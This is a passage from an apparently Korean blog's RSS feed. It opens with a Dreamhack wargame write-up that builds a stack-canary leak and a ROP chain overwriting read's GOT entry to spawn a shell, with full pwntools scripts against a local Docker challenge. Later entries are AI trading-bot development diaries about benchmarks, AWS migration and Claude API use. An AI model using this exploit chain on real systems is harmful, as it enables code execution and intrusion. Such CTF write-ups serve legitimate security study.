&lt;p data-ke-size=&quot;size16&quot;&gt;gdb에서 disas main명령어로 확인해본 결과 &amp;lt;+4&amp;gt;에서 &lt;b&gt;스택&lt;/b&gt;의 크기는 총 &lt;b&gt;0x40&lt;/b&gt;임을 알 수 있고,&amp;lt;+17&amp;gt;에서 &amp;nbsp;&lt;b&gt;카나리의 위치&lt;/b&gt;가 &lt;b&gt;rbp - 0x8&lt;/b&gt;임을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;rop1.png&quot; data-origin-width=&quot;1860&quot; data-origin-height=&quot;1718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eo0GPk/dJMcaaEWWFk/CiKV02h21sTTTF1CIIcb00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eo0GPk/dJMcaaEWWFk/CiKV02h21sTTTF1CIIcb00/img.png&quot; data-alt=&quot;그림으로 보면 다음과 같다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eo0GPk/dJMcaaEWWFk/CiKV02h21sTTTF1CIIcb00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feo0GPk%2FdJMcaaEWWFk%2FCiKV02h21sTTTF1CIIcb00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;411&quot; data-filename=&quot;rop1.png&quot; data-origin-width=&quot;1860&quot; data-origin-height=&quot;1718&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림으로 보면 다음과 같다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 canary를 leak할 수 있는 주소 계산은 쉽게 할 수 있고 그 다음으로 rop를 실행하는 부분을 살펴보자.&lt;/p&gt;
&lt;pre id=&quot;code_1776074470528&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  // Do ROP
  puts(&quot;[2] Input ROP payload&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read 함수로 buf를 overflow 시킨 뒤 canary를 올바르게 놓고 return 함수까지 도달 한 후 rop chain을 시작하면 될것으로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설계를 간략히 해보자면 &lt;b&gt;read_got, read_plt, write_plt의&lt;/b&gt; 주소를 &lt;b&gt;pwntool&lt;/b&gt;의 기능으로 얻은 뒤 &lt;b&gt;read_got&lt;/b&gt;의 값을 &lt;b&gt;system함수&lt;/b&gt;로 바꾸어 &amp;nbsp;&lt;b&gt;read_plt&lt;/b&gt;를 호출하면 &lt;b&gt;system('/bin/sh')가 호출&lt;/b&gt;되게끔 만들 면 될 것으로 보인다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. ROP gadget 주소 찾기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-13 오후 7.18.18.png&quot; data-origin-width=&quot;1492&quot; data-origin-height=&quot;820&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WGVtu/dJMcafTMef0/lHx2ZhS3EygBtsSjmvjFWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WGVtu/dJMcafTMef0/lHx2ZhS3EygBtsSjmvjFWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WGVtu/dJMcafTMef0/lHx2ZhS3EygBtsSjmvjFWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWGVtu%2FdJMcafTMef0%2FlHx2ZhS3EygBtsSjmvjFWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1492&quot; height=&quot;820&quot; data-filename=&quot;스크린샷 2026-04-13 오후 7.18.18.png&quot; data-origin-width=&quot;1492&quot; data-origin-height=&quot;820&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;rdi가 함수의 첫번째 인자 rsi가 함수의 두번째 인자에 해당하는 포인터이기에 pop rdi 와 pop rsi가 있는 가젯의 주소를 복사&lt;/li&gt;
&lt;li&gt;offset을 맞추기 위해 필요한 ret 가젯의 주소도 복사해준다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. Canary leak&lt;/h3&gt;
&lt;pre id=&quot;code_1776074777034&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote('localhost',7182) # docker build -t rop -&amp;gt; docker run -it -p 7182:7182 rop
e = ELF('./rop')
libc = ELF('./libc.so.6')

buf = b'a'*0x30 + b'b'*0x9
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+ p.recvn(7))
print('canary is '+ str(hex(canary)))&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다음과 같은 코드를 작성해보면 카나리가 정상적으로 나옴을 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;buf에서 'b'를 9번 곱하는 이유는 카나리의 첫 번째 byte는 \x00이기에 딱 카나리만 얻을 수 있도록 offset을 조정한 것이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. rop payload&lt;/h3&gt;
&lt;pre id=&quot;code_1776075005786&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
pay = b'a'*0x38+ p64(canary)
pay += b'b'*8

# write(1,read_got,0x100)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi_r15) + p64(read_got)+p64(0)
pay += p64(write_plt)

#read(0,read_got,0x100)
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(read_plt)

#Overwrite
pay += p64(pop_rdi) + p64(read_got+0x8)
pay += p64(ret)
pay += p64(read_plt)

p.sendafter(&quot;Buf: &quot;,pay)

read = u64(p.recvn(6)+b'\x00'*2)

print(&quot;Read_GOT is &quot;+ str(hex(read)))

libcbase = read - libc.symbols['read']
system = libcbase + libc.symbols['system']

p.sendline(p64(system)+ b'/bin/sh\x00')
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫번째 write 함수를 호출하여 read함수의 got 주소를 유출&lt;/li&gt;
&lt;li&gt;두번째 read 함수를 호출하여 read 함수의 got 테이블에 입력상태를 만듬&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;p64(pop_rdi) + p64(read_got+0x8)&lt;/span&gt; 이 부분이 잘 이해 안될 수 도 있는데 마지막쯔음에 보면 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;p.sendline(p64(system)+ b'/bin/sh\x00')&lt;/span&gt; 로 read_got + 8번째의 주소에 '/bin/sh' 문자열을 저장했기 때문에 rdi 에 '/bin/sh'문자열을 넣을 수 있는것&lt;/li&gt;
&lt;li&gt;세번째 인자인 rdx에 아무런 값을 넣지 않았는데 0x100 이 된다는게 이해가 가지 않을 수도 있다. 이는 소스코드를 보면 알 수 있는데,&amp;nbsp;&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;read(0, buf, 0x100);&lt;/span&gt; 이라는 코드를 보면 이미 세번쨰 인자의 값으로 0x100이 넘어가게 되어 따로 rdx를 설정하지 않는다면 계속해서 rdx는 0x100으로 남기 때문이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 최종 payload&lt;/h3&gt;
&lt;pre id=&quot;code_1776075669010&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote('localhost',7182) # docker build -t rop -&amp;gt; docker run -it -p 7182:7182 rop
e = ELF('./rop')
libc = ELF('./libc.so.6')

pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596

read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']

buf = b'a'*0x30 + b'b'*0x9
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+ p.recvn(7))
print('canary is '+ str(hex(canary)))

pay = b'a'*0x38+ p64(canary)
pay += b'b'*8

# write(1,read_got,0x100)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi_r15) + p64(read_got)+p64(0)
pay += p64(write_plt)
#read(0,read_got,0x100)
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(read_plt)
# Overwrite
pay += p64(pop_rdi) + p64(read_got+0x8)
pay += p64(ret)
pay += p64(read_plt)

p.sendafter(&quot;Buf: &quot;,pay)

read = u64(p.recvn(6)+b'\x00'*2)

print(&quot;Read_GOT is &quot;+ str(hex(read)))

libcbase = read - libc.symbols['read']
system = libcbase + libc.symbols['system']

p.sendline(p64(system)+ b'/bin/sh\x00')
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>워게임</category>
      <category>dream hack</category>
      <category>rop</category>
      <category>보안공부</category>
      <category>시스템 해킹</category>
      <category>워게임</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/33</guid>
      <comments>https://seowoo-j.tistory.com/33#entry33comment</comments>
      <pubDate>Mon, 13 Apr 2026 19:25:41 +0900</pubDate>
    </item>
    <item>
      <title>AI Trading Bot 개발기 &amp;mdash; Day 5</title>
      <link>https://seowoo-j.tistory.com/32</link>
      <description>&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;일주일간의 벤치마크 결과&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;report_status_benchmark_comparison.png&quot; data-origin-width=&quot;1573&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJlKU3/dJMcacvQaKc/ujTexgLDkGqPKHtX9nBTn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJlKU3/dJMcacvQaKc/ujTexgLDkGqPKHtX9nBTn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJlKU3/dJMcacvQaKc/ujTexgLDkGqPKHtX9nBTn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJlKU3%2FdJMcacvQaKc%2FujTexgLDkGqPKHtX9nBTn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;446&quot; data-filename=&quot;report_status_benchmark_comparison.png&quot; data-origin-width=&quot;1573&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존 paper 운용을 약 일주일 넘게 이어가며&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/ETH/TRX&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;3종목&lt;/b&gt; 균등보유 벤치마크와 계속 비교해본 결과, 전략은 단순 보유보다 꾸준히 &lt;b&gt;나은 성과&lt;/b&gt;를 보여줬다. 절대 수익률 자체가 아주 폭발적인 수준은 아니었지만, 시장이 흔들리는 동안 &lt;b&gt;손실을 덜 보거나&lt;/b&gt; 아예 피하는 구간이 많았고, 초과수익 곡선도 상당 기간 플러스 구간을 유지했다. 특히 하락 구간에서 벤치마크가 크게 밀릴 때 전략이 상대적으로 &lt;b&gt;안정적&lt;/b&gt;으로 버티는 모습은 분명한 차이로 보였다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;중요했던 건 이 결과가 단순히 &lt;b&gt;&amp;ldquo;운 좋게 한두 번 맞은 것&amp;rdquo;&lt;/b&gt;처럼 보이지 않았다는 점이다. 실제 로그를 보면 종목별로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BUY/HOLD/SELL&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;판단이 반복적으로 발생했고, BTC나 ETH를 사고팔면서 실현손익을 쌓은 흔적도 남아 있었다. 즉 단순히 현금만 들고 있어서 벤치마크보다 좋아 보인 것이 아니라, 시장이 좋지 않은 구간에서는 &lt;b&gt;방어적으로 대응&lt;/b&gt;하고, 신호가 나올 때는 실제로 포지션을 잡으면서 벤치마크 대비 우위를 만들고 있었다. 그래서 이 일주일간의 결과만으로도&lt;b&gt; &amp;ldquo;이 전략이 최소한 관찰을 계속할 가치는 있다&amp;rdquo;&lt;/b&gt;는 판단을 내리기엔 충분했다고 본다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;맥북 기반 운영 한계&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Gemini_Generated_Image_e0csgfe0csgfe0cs.png&quot; data-origin-width=&quot;2816&quot; data-origin-height=&quot;1536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKRWKM/dJMcaaksWrT/WLWWoW1RGJiFKk5CN76dk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKRWKM/dJMcaaksWrT/WLWWoW1RGJiFKk5CN76dk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKRWKM/dJMcaaksWrT/WLWWoW1RGJiFKk5CN76dk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKRWKM%2FdJMcaaksWrT%2FWLWWoW1RGJiFKk5CN76dk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;594&quot; height=&quot;324&quot; data-filename=&quot;Gemini_Generated_Image_e0csgfe0csgfe0cs.png&quot; data-origin-width=&quot;2816&quot; data-origin-height=&quot;1536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다만 전략 성과가 의미 있다고 해서, 그걸 계속 &lt;b&gt;안정적으로 검증할 수 있는 환경&lt;/b&gt;이 자동으로 갖춰지는 건 아니었다. 실제 운영은 &lt;b&gt;개인 맥북&lt;/b&gt;에서 돌아가고 있었는데, 노트북을 닫는 순간 &lt;b&gt;sleep&lt;/b&gt; 상태에 들어가면서 정시 실행이 통째로 빠지는 문제가 있었다. 몇 시간 정도 자리를 비우는 사이 &lt;b&gt;거래 사이클이 누락&lt;/b&gt;되기도 했고, 잘 돌아가던 흐름이 운영 환경 때문에 끊기는 일이 반복되면 전략 자체를 평가하는 것도 애매해질 수밖에 없다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 이 문제를 해결하기 위해 &lt;b&gt;맥 미니&lt;/b&gt;를 구매해서 상시 구동 환경을 만드는 방법도 고민했다. 맥북 대신 늘 켜져 있는 애플 기기를 하나 두면 지금 구조를 크게 바꾸지 않고도 지속성을 확보할 수 있기 때문이다. 하지만 결국 &lt;b&gt;비용과 확장성, 운영 편의성&lt;/b&gt;을 같이 생각했을 때 굳이 물리 장비를 늘리는 것보다&lt;b&gt; 서버 환경&lt;/b&gt;으로 옮기는 편이 더 합리적이라고 판단했다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;결국 AWS&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpDPnD/dJMcaf68by7/OkxSxKrEkSOSHexf4ztEpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpDPnD/dJMcaf68by7/OkxSxKrEkSOSHexf4ztEpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpDPnD/dJMcaf68by7/OkxSxKrEkSOSHexf4ztEpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpDPnD%2FdJMcaf68by7%2FOkxSxKrEkSOSHexf4ztEpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;168&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 선택한 방향이 AWS였다. &lt;b&gt;EC2 인스턴스&lt;/b&gt;를 하나 두고, 그 위에서 뉴스 수집, 트레이딩 실행, 상태 리포트, 벤치마크 차트, 전망 리포트까지 정시로 돌리는 구조로 옮기기로 했다. 이렇게 하면 더 이상 개인 노트북의 &lt;b&gt;sleep&lt;/b&gt; 상태에 영향을 받지 않고, &lt;b&gt;24시간 같은 환경&lt;/b&gt;에서 자동 실행을 유지할 수 있다. 운영 목적이 &lt;b&gt;&amp;ldquo;성능 향상&amp;rdquo;&lt;/b&gt;보다 &lt;b&gt;&amp;ldquo;지속성과 안정성 확보&amp;rdquo;&lt;/b&gt;에 더 가까웠기 때문에, 이번 이전은 자연스러운 다음 단계에 가깝다고 느꼈다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 과정에서 단순히 서버만 띄운 게 아니라, 기존 Binance 기반 구조를 &lt;b&gt;Upbit/KRW 기준&lt;/b&gt;으로 바꾸고, Linux 환경에서 경로와 리포트 파이프라인이 정상적으로 돌 수 있도록 손보는 작업도 함께 진행했다. 즉 이번 AWS 이전은 단순한 장소 변경이 아니라, &lt;b&gt;&amp;ldquo;맥북에서 돌리던 개인 실험용 자동화&amp;rdquo;&lt;/b&gt;를 &lt;b&gt;&amp;ldquo;지속적으로 검증 가능한 운영 환경&amp;rdquo;&lt;/b&gt;으로 바꾸는 작업이었다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;이제는 더 안정적인 환경에서 계속 검증해볼 생각이다&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-01 오전 12.24.19.png&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;1006&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AXEoV/dJMcaduE0AV/ij5Koo34jfXFU5SUFACaU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AXEoV/dJMcaduE0AV/ij5Koo34jfXFU5SUFACaU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AXEoV/dJMcaduE0AV/ij5Koo34jfXFU5SUFACaU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAXEoV%2FdJMcaduE0AV%2Fij5Koo34jfXFU5SUFACaU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;372&quot; data-filename=&quot;스크린샷 2026-04-01 오전 12.24.19.png&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;1006&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;결국 이번 이전의 의미는, 기존 &lt;b&gt;일주일간의 벤치마크 결과&lt;/b&gt;가 충분히 의미 있었기 때문에 그 검증을 끊기지 않는 환경에서 이어갈 필요가 생겼다는 데 있다. 전략이 단순 균등보유보다 나은 모습을 보였던 만큼, 그 성과가 &lt;b&gt;우연이 아니라는 걸&lt;/b&gt; 더 긴 구간에서 확인하려면 운영 환경부터 안정적이어야 한다. 이제는 &lt;b&gt;AWS&lt;/b&gt; 위에서 며칠 더 돌려보며, 이 초과성과가 새로운 환경에서도 유지되는지 차분히 확인해볼 생각이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;만약 지속해서 괜찮은 성적이 나온다면 &lt;b&gt;실제 계좌&lt;/b&gt;를 연결해볼 생각이다&lt;/p&gt;</description>
      <category>프로젝트</category>
      <category>Ai_Auto_Trading</category>
      <category>AWS</category>
      <category>Finance</category>
      <category>Project</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/32</guid>
      <comments>https://seowoo-j.tistory.com/32#entry32comment</comments>
      <pubDate>Wed, 1 Apr 2026 00:32:39 +0900</pubDate>
    </item>
    <item>
      <title>AI Trading Bot 개발기 &amp;mdash; Day 4</title>
      <link>https://seowoo-j.tistory.com/31</link>
      <description>&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Claude API 연동 시작&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번 작업의 출발점은 트레이딩 LLM을 &lt;b&gt;OpenAI&lt;/b&gt; 계열에서 &lt;b&gt;Claude API&lt;/b&gt;로 바꾸는 것이었다. 기존에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;gpt-4.1-mini&lt;/span&gt;를 사용하고 있었지만, 뉴스와 시장 맥락을 조금 더 안정적으로 해석할 수 있는지 보기 위해&lt;b&gt; Anthropic&lt;/b&gt;의&lt;b&gt; Claude Sonnet&lt;/b&gt; 계열을 붙여보기로 했다. (실제로 클로드가 투자관련에서 수익률을 가장많이 올렸다는 발표도 있기때문에..)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 연결이 순조롭지 않았다. API 키는 정상인데도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;400&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;404&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;에러가 반복됐고, 문제를 추적해보니 콘솔에서 보이는 모델 이름과 실제 API에서 요구하는 모델 ID가 다르다는 점이 원인이었다. 크레딧 상태와 모델 식별자까지 하나씩 맞춰가며 설정을 정리한 뒤에야 비로소 fallback이 아니라 실제 Claude 응답이 판단에 들어오기 시작했다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Claude 토큰 사용량 최적화&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;1286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckRNtM/dJMcai3HlD0/KkKskU40Hs9cqKQkiie4ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckRNtM/dJMcai3HlD0/KkKskU40Hs9cqKQkiie4ZK/img.png&quot; data-alt=&quot;최적화를 하고 토근 사용량이 눈에띄게 줄어들었음을 확인할 수 있다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckRNtM/dJMcai3HlD0/KkKskU40Hs9cqKQkiie4ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckRNtM%2FdJMcai3HlD0%2FKkKskU40Hs9cqKQkiie4ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;319&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;1286&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;최적화를 하고 토근 사용량이 눈에띄게 줄어들었음을 확인할 수 있다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Claude로 바꾸고 나서 바로 느껴진 문제는 토큰 사용량이었다. 멀티코인 구조로 심볼별 판단을 하기 시작하니 호출 횟수와 프롬프트 길이가 함께 늘어났고, 그대로 두면&lt;b&gt; 운영 비용&lt;/b&gt;이 &lt;b&gt;빠르게 커질 수밖에&lt;/b&gt; 없었다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 가장 먼저 손본 건 프롬프트와 응답 길이였다. 시장 요약 텍스트는 핵심 지표만 남기고 최대한 압축했고, &lt;b&gt;reasoning도 최대 3줄&lt;/b&gt;만 허용하도록 제한했다. 또&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;max_tokens&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;값을 낮춰서 입력과 출력 양쪽 모두&lt;b&gt; 토큰 사용을 줄였다&lt;/b&gt;. 즉 모델 자체를 낮추지 않고도, 똑같은 &lt;b&gt;Claude&lt;/b&gt;를 조금 더 가볍게 돌릴 수 있도록 구조를 정리한 셈이다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;멀티코인 판단 구조 개편&lt;/h3&gt;
